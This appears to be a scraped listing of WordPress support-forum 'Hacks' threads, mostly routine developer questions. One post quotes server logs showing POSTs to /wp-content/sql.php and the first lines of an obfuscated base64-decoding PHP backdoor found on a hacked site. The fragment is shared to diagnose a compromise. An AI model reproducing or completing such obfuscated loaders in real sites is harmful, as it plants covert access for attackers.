Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

wpbond on "How to Show a Page or Post content in another page?"

$
0
0

Hi,

I want to show the contents of page or post with the id=24 on anywhere in static homepage.

How to do it and what is the latest method of doing it?

Most of the answers use functions which are too old to be used in WP 4

Thank you


wpbond on "How to find if my site is translation ready?"

$
0
0

Hi,

I downloaded a free theme from the internet and it is without any documentation.

I just want to find out whether this site is translation ready or not?

PS: Actually I am now learning to make my own custom sites translation ready. So before I start reading the tuts I need to find out how to find if my site is translation ready?

Thank you

rightbiteguide on "Problem with Listify Theme"

paolobrigo on "plugin or hacks for the control of tax code (codice fiscale)"

$
0
0

Hi,
i've a question, i want to verify the tax code (codice fiscale) of a person.
I explain:
i've a web site were a user can insert in free mode an ads for search a jobs, this user must have over 50 years old, and for the control of the age he should insert his tax code (codice fiscale) and the system shoul verify this one.
There is a plugin that allow this operation? or a script to do this?
Thanks

Paolo

jemcbade on "posts_exists() casts error that the function does not exist"

$
0
0

Huh... Documentation says it exists and I see the function in: post.php

When I try to call and use the function, I get an error saying the function does not exist.

I am trying to use this inside a plugin main file.

Help is appreciated :)

Kushal Jayswal on "User Profile Meta SAVING ERROR"

$
0
0

I am getting below error when try to save modified data for author/user on my blog.

Warning: call_user_func_array() expects parameter 1 to be a valid callback, invalid function name in /wp-includes/plugin.php on line 496

Warning: Cannot modify header information - headers already sent by (output started at /wp-includes/plugin.php:496) in /wp-includes/pluggable.php on line 1196

I read multiple posts in WP forum which have been closed. But it couldn't help me to fix this.

Anyone?

Thanks.

nate22 on "Simplest way to get ONE category title when post has multiple categories?"

$
0
0

What's the simplest way to spit out a single category as a title in an H2 tag for a post with multiple categories? The forums and codex seem full of a lot of not-so-great options that involve writing a bunch of conditionals for different category IDs...which means it's almost hard-coded since you need to consider all the ID # s and update it whenever there's a new category added. Which is dumb. Seems like there should be a much simpler method to just store the category array in a session variable. Do I actually have to get all tricky and invent some session variable or something that WP doesn't already have?

LPD7Pkmxe6 on "Coding : How to change post_format value"

$
0
0

Hi,

I'm trying to figure out what I'm doing wrong in the attached coding example.

I can successfully post to wordpress, but I can't figure out how to change the post_format value to "link" successfully. No matter what I have tried, the post_format value is set to 'standard'. I need it set to 'link' and also be able to designate a URL. I've spent lots of time looking at posts on the internet with no luck. I'm missing 'something'.

The php file for testing resides in the root directory of my wordpress installation.

<?php
//figure out how to add a post with link format and URL

error_reporting(-1);
$location = $_SERVER['DOCUMENT_ROOT'];

echo $location;
//exit;
include ($location . '/wp-config.php');
include ($location . '/wp-load.php');
include ($location . '/wp-includes/pluggable.php');
//include_once($location.'/wp-includes/post-formats.php');

require($location . '/wp-blog-header.php');
// Create post object
$my_post = array();
$my_post['post_title'] = 'Title of this Post';
$my_post['post_content'] = 'Some Content to Add';
$my_post['post_status'] = 'publish';
$my_post['post_type']= 'post';
//post_category is correct here
$my_post['post_category'] = array(34);
//post_format always goes to 'standard'
//tried array(2) also with no luck
$my_post['post_format']='link';

//very array
print_r ($my_post);

//all the below commented options were tried with no success.
//set_post_format('', 'link' ); //sets the given post to the 'link' format
//set_post_format($mypost->'ID', 'link' ); //sets the given post to the 'link' format
//$my_post['post_link_url'] = "http://www.SomeTestUrl.com";
//$my_post['post_link'] = "http://www.SomeTestUrl.net";

// Insert the post into the database
if( null == get_page_by_title( $my_post['post_title'] ) ) {
wp_insert_post( $my_post );
}

//Post is successfully added but can't change post_format value to 'link'

?>

dmg_tmcauliffe on "Opening an accordion or tab via an anchor link!"

$
0
0

I REALLY need to be able to open a accordion via an anchor link. I am a developer and able to edit JS and PHP files. Please let me know how I can do this!

I need it for a client ASAP.

Using Squelch Tabs and Accordions as well as Fruitful Shortcodes!

kiannachauntis on "Protecting URL Paths"

$
0
0

Hey all, so I have seen a handful of topics that are asking for something similar, but none of it really seems to apply to my situation.

I have a musician's website built on WordPress. They want the ability to have users play their songs via an audio player (currently using WordPress' default player) but they do not want them to be able to access the URL and steal the song.

I realize that putting anything on the internet risks chances of it being stolen, but I would at least like to make it as hard as possible. Is there a way to scramble or encrypt these paths? Or have users get redirected elsewhere if they try to access anything in the media directory?

Also note- I found a couple of solutions but they seem to only apply to restricting access to users who are not logged in to the site. From what I've read, these solutions end up completely disabling the users ability to listen to the file on the front end anyways. Plus, this is a public site with no membership levels or anything crazy like that.

I'm really hoping this isn't impossible! My back up solution was just to recommend to the artist to only upload clips, but I think they really want to have users be able to listen to at least a handful of full-length songs without worry of them being downloaded for free, as they are for sale on iTunes.

Any help is greatly appreciated- thanks fam!

renerasta on "Unable to use yoast seo and theme plugin. Have i been hacked?"

$
0
0

Hi together,
Since a week i was unable to make some changes in my wordpress admin area.
I think someone made some fun out of it and hacked into my website.
unfortunately my hosting company is not very helpful since i have tried now a couple of time to resolve this issue.
the problem is that i have running a plugin from yoast seo and since a week i cant make any changes. what i have discovered is that someone i guess had made some changes in a file which i cant resolve so far.
what has changed is that at the end of the url in the admin area was added a #

admin.php?page=wpseo_dashboard#top#general

I got the same problem in my theme

theme-install.php?upload#
the only link in the theme area which works is the link to premier temlates.
Is the someone how can help me out on this issue?
Thanks
Rene

elghana on "Reinitialize plugin after ajax"

$
0
0

I'm trying to run the plugin display widget or dynamic widget on an ajax based div. Content is loaded in the div and I want to use any of the widgets above or any widget that works like them to determine which page some of the contents shows o hides.
I had encountered a problem once with a plugin and i was able to reinitialize it by creating a function in my ajax js file for the script used in that plugin and recalled after ajax load.
This time is it not working and I have run out of ideas. Please I need help.
Thank you
Thanks for any ideas.

baburman on "Failed to send email through SMTP authentication."

$
0
0

Hi all,

I am using PHPMailer for smtp authentication to send emails. I have tried both options, secured and unsecured as provided by my hosting provider.

The problem looks like that the code does not recognize $phpmailer (i guess). The code is as below. (some of the information is fake here for
security purpose, but actual values are used in the code.):

add_action( 'phpmailer_init', 'configure_smtp' );
function configure_smtp( PHPMailer $phpmailer ){
$phpmailer->isSMTP();
$phpmailer->Host = "mail.mydomain.net";
$phpmailer->SMTPAuth = true;
$phpmailer->Port = 25;
$phpmailer->Username = "hrd@mydomain.net";
$phpmailer->Password = "<password>";
$phpmailer->From = "hrd@mydomain.net";
$phpmailer->FromName="HRD";
$phpmailer->SMTPSecure = false;
}

and here's the test code which sends mail:

$to = "myname@hotmail.com";
$subject = "Checking email with smtp auth.";
$message = "Please ignore this.";
$ret = wp_mail($to, $subject, $message);
echo '---'; //added just for debugging.
echo $ret;
echo '++++++++++'; //added just for debugging.
exit;

Now it should echo ---1++++++++++ whereas it always echoes ---++++++++++ which means the mail could not be sent. I don't know how to get the exact return/error code so that I can fix it. Also if i do not use PHPMailer at all the mails are sent successfully but they are reported as spam by the recipient servers to our hosting server as expected. So we have to authenticate through valid smtp credentials. Please help!

Thanks,

baburman

king-a-s on "Duplicate default Comments system"

$
0
0

I need a code (plugin) to duplicate default comments system and use it with CPT
and duplicate all settings and modified it

anyone can help me?

thanks

aymeric75 on "Is it a sql injection ? how to avoid it ?"

$
0
0

Hi everyone,
My wordpress site has been hacked last week, so i found the logs and tried to see where the hack comes from, as you can see there is a abnormal POST request mentioning a "sql.php" file:

66.249.67.85 my_site.fr - [02/Jul/2015:20:17:41 +0200] "GET /robots.txt HTTP/1.1" 500 538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
157.55.39.43 my_site.fr - [02/Jul/2015:20:20:31 +0200] "GET /robots.txt HTTP/1.1" 500 538 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
185.25.150.210 my_site.fr - [02/Jul/2015:20:33:51 +0200] "POST /wp-content/sql.php HTTP/1.1" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
157.55.39.201 my_site.fr - [02/Jul/2015:20:36:13 +0200] "GET /robots.txt HTTP/1.1" 500 538 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
91.219.6.226 my_site.fr - [02/Jul/2015:20:36:18 +0200] "POST /wp-content/sql.php HTTP/1.1" 200 76 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.48 Safari/537.36"
213.108.248.40 my_site.fr - [02/Jul/2015:20:38:30 +0200] "POST /wp-content/sql.php HTTP/1.1" 200 76 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US) U2/1.0.0 UCBrowser/9.3.1.344"

So i checked this file, and here is the begining (it's a very ugly and long file):

<?php
function rshywtopta($agtqyz, $o){$rr = ''; for($i=0; $i < strlen($agtqyz); $i++){$rr .= isset($o[$agtqyz[$i]]) ? $o[$agtqyz[$i]] : $agtqyz[$i];}
$brxtahywqz="base64_decode";return $brxtahywqz($rr);}
$qvevwyrn = '9cKX96ZlP6IX8AMik08ck0FHgIHVBjEE6hZA3zPA3zxO3dwI6hZAidKO65CMFBFNFqxjBjEE6hZA3zPA3zxO3E0Zihk'.
'A6rAdkAFO65CMFBFDTqYtTBem4qduamX89cKXFc0yY7kUgBkb3r050E05cS2F0AkI6hwbkEM50rA5kd0d6rPo3u22g5EgB6xgBI'.
'EE6hZA3zPA3zxO5Ak33AMK6rPo3z2R3EkAkAMvihFO65CMFBFDTqYtTBem4q'.

I would like to know if it's indeed a sql injection and how to avoid it in the future.

Cheers

Aymeric


Wattson on "pages generating on my site ?page_id=52, ?page_id=54, ?page_id=50"

$
0
0

My Site http://www.acumen-services.com was recently hacked, huge code was injected on this.

After so many efforts, after read many articles, after lots of research and after a lot of help of professional experienced people. Injected code removed. But its still having urls ?page_id=52, ?page_id=54, ?page_id=50 like this. I am unable to understand where they injected this code. its only showing when permalink comes on default mode. Caching in search engines too.

Please help to make it clean.

Thanks in advance

Theoretiker on "Possible? register_nav_menus wthin a function() in functions.php ?"

$
0
0

Dear out there... :)

Looks like register_nav_menus isn't working within a function i wrote to dynamically create dynamic Bootstrapmenus on the theme.

function navbar($scrolling, $colorclass, $menuname) {
register_nav_menus( array( $menuname => $menuname) );
...

Is there a proper way to register menu positions via function() in functions.php?

I noticed that it is necessary to have a register_nav_menus outside the function() to display the Menus Item in BAckend too...

Would be great to get an answer, just want to create some dynamic menu-functionality.

Thank you!
Chris

jamierob on "woocommerce display image captions in single-product thumbnail display"

$
0
0

I'm trying to display the image caption underneath each product thumbnail on the single-product page and can't figure it out. I know I need to change something in the template/single-product/product-thumbnails.php file:

$image_link = wp_get_attachment_url( $attachment_id );

			if ( ! $image_link )
				continue;

			$image       = wp_get_attachment_image( $attachment_id, apply_filters( 'single_product_small_thumbnail_size', 'shop_thumbnail' ) );
			$image_class = esc_attr( implode( ' ', $classes ) );
			$image_title = esc_attr( get_the_title( $attachment_id ) );

			echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', sprintf( '<a href="%s" class="%s" title="%s" data-rel="prettyPhoto[product-gallery]">%s</a>', $image_link, $image_class, $image_title, $image ), $attachment_id, $post->ID, $image_class );

			$loop++;
		}

diswell on "Use Search Query as Javascript variable"

$
0
0

Hi,

I'm currently testing a new Amazon Ad Search unit on my Wordpress site. It uses javascript to display relevant products on the Wordpress search page, based on the search term used.

I need to programmatically define the search term to be used each time the user searches. - it can be a variable. How do I transfer the search query into a variable that can be used in Javascript?

The accompanying doc just says:

amzn_assoc_default_search_phrase = "searchterm"; //programmatically specify this

Any help gratefully received

elizabethmadethis on "Integrate blog subscription within comments"

$
0
0

Currently I'm running Jetpack subscriptions, and I like the simplicity of it, but I'd love to be able to merge it into my comments in my posts. Is there any way that I can do this?

Viewing all 8245 articles
Browse latest View live




Latest Images